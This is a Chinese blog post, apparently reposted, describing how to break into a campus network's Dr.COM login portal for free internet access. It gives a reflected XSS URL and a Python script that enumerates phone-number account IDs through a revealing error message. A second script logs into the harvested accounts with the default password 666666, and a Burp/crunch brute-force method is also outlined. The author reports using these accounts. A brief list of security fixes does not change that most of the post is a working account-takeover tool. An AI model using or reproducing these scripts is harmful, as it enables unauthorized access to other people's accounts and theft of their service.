下面会介绍两种破解方法
下面介绍的方法是用于账号和密码知道二者其一才行,如果二者都不知道,那就你费些时间了,这我就不多说了,懂得都懂..................
我先说一下破解思路:
其实很简单,无非就是跑字典,我们第一步就是要先生成字典,第二步去进行测试,就是类似于正常人登录一样,只不过我这是用脚本跑的,更快。
利用python脚本破解
简介
前端做的不是很好,前端UI布局写的较差,后端接口也不太严谨,能够透露出些信息容易被利用,在找漏洞的过程中发现一个反射型的xss,用处不是很大毕竟要受害者点击才能执行恶意代码,我找到的这些东西和思路都总结在下面。
反射型XSS
http://10.100.10.100:801/eportal/portal/mac/unbind?callback=<script>alert("xss");</script>
一个危害不大的反射型XSS,下面就是文章的主题,如何蹭网!
认证网址
http://10.100.10.100 // 用户认证
http://10.100.10.3:8080/Self/login // 用户后台登录
http://10.100.10.100:9002 //注销登录
http://10.100.10.100:801 // 主后台管理
分析认证
蹭网原理
蹭网的方法有很多,比较流行的是基于端口(可以自行百度),还有就是通过改主机MAC地址(已经上线了的主机MAC,把自己MAC的改成他的,那么两个能够同时上网,在这里会有一点小瑕疵,流量一下你这一下他那,总的来说是可以上网的)。
可以发现我随便输入一个不存在的账号加一个错误的密码,登录返回的信息居然是账号不存在?
不得了,通过上面的信息完全就可以跑手机号,一想到联通手机号开头是 130、131、132、155、156、185、186、145、176。
后面的数可以进行程序进行猜,一般来说安全意识不强的人不会拿到账号去更改密码的。
所以容易留下弱口令,校园网给的密码是6个6 或 1~6 只要拿到账号那岂不是就能登上去了?废话不多说开始写代码。。。
import requests import re import itertools import multiprocessing import os url = "http://10.100.10.100/drcom/login" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36' } def checkUserId(userId): params = { "callback": "dr1003", "DDDDD": f"{userId}@unicom", "upass": "1", "0MKKey": "000", "R1": "0", "R2": "", "R3": "0", "R6": "0", "para": "00", "v6ip": "", "terminal_type": "1", "lang": "zh-cn", "jsVersion": "4.2", "v": "6687", "lang": "zh" } try: res = requests.get(url, params=params, headers=headers).text data = re.findall(r'"msga":"(.*?)"', res) if data[0] != "userid error1": with open(fr"{os.getcwd()}\userId.txt", "a") as f: f.writelines(userId + "\n") print(userId, "√") else: print(userId, "x") except Exception as e: print(f"Error for user ID {userId}: {e}") return e if __name__ == '__main__': results = [] prefix_list = ["1767399"] # Create numbers list #“1767399” 可以随便改 num_processes = 2 # Create 2 multiprocesses pool = multiprocessing.Pool(num_processes) for suffix in itertools.product(range(0, 10), repeat=4): suffix_str = ''.join(map(str, suffix)) for prefix in prefix_list: user_id = f"{prefix}{suffix_str}" result = pool.apply_async(checkUserId, args=(user_id,)) results.append(result) # Wait for all processes to finish pool.close() pool.join() # Print any exceptions that occurred during execution for result in results: if result.get() is not None: print(result.get())
代码运行
这里我只写了Python3的脚本,就不用其他语言了,做这种事还是Python用的方便些。
运行结果
我运行一半就不跑了毕竟不是来搞破坏的,先看看保存的手机号有610多个手机号,效果还可以。
随便拿个账号试试 密码6个6 和我想得一样 登录成功!!
其他的账号都是一样,可以发现他现,在上网就不打扰他了。
安全总结
1.前端的错误提示不要给的太明显,可以写成这样 "账号或者密码错误"。
2.对账号密码的加密,虽然可以通过JS逆向出来但也可以增加安全性。
3.对前端错误次数做限制再加上验证码,虽然可以破解但也可以增加安全性。
4.当你拿到账号时登录后请先修改强密码,防止弱口令登录。
危害总结
1.登录后别人可以使用您的网络 可以等你下线再使用或者直接使用你的账号上网。
2.可以对你进行断网操作,危害校园网较大影响网络体验导致投诉。
3.可以修改你的密码,由于后台更改密码需要身份证,但并没有完善。
4.账号并没有绑定身份证,导致只能去办理校园网那里更改较麻烦。
修改密码
可以发现如果密码被改了,自己是无法从外面修改自己的密码的只能去办理校园网那里进行修改。
修改密码
修改无效
Wifi共享思路
既然都有账号密码,那我岂不是可以免费上网了,由于最后一个学期了就没办校园卡,
于是写了个遍历判断如果在上网的用户就不打扰了,只连不在上网的用户这样就好了。
import requests import re url = "http://10.100.10.100/drcom/login" with open("userId.txt", "r") as f: for line in f.readlines(): user_id = line.strip() params = { "callback": "dr1003", "DDDDD": f"{user_id}@unicom", "upass": "666666", "0MKKey": "123456", "R1": "0", "R2": "", "R3": "0", "R6": "0", "para": "00", "v6ip": "", "terminal_type": "1", "lang": "zh-cn", "jsVersion": "4.2", "v": "6687", "lang": "zh" } res = requests.get(url, params=params) cont = re.findall(r'{"result":(.*?),', res.text) print(cont) if cont and cont[0] == "1": print(f"{user_id}, 登录成功~") break
这样就可以破解校园网了,下面介绍另一种方法。
利用kali中的burp进行破解
kali想必大家都知道吧,里面的工具burp我就不跟大家过多叙述了,下面直接进入主题(我这里是知道密码,不知账号得情况,如果你们的是知道账号,不知密码也可以用以下方法)
首先我们先生成字典
这里的crunch是kali上的一个工具,-t表示%是数字,前面两个11分别表示的是生成的数字最短是11位,最长也是11位,>>是将生成的字典保存在tjy.txt中。
生成字典的方法还有很多,当平台不让发,所以你们去网上找找啦
然后我们对校园网站进行抓包,如下
开始破解了
看响应码和长度,有不同的话进去看响应包
以上就是klai利用burp破解的过程
希望大家喜欢!!!
版权归原作者 孤寂204 所有, 如有侵权,请联系我们删除。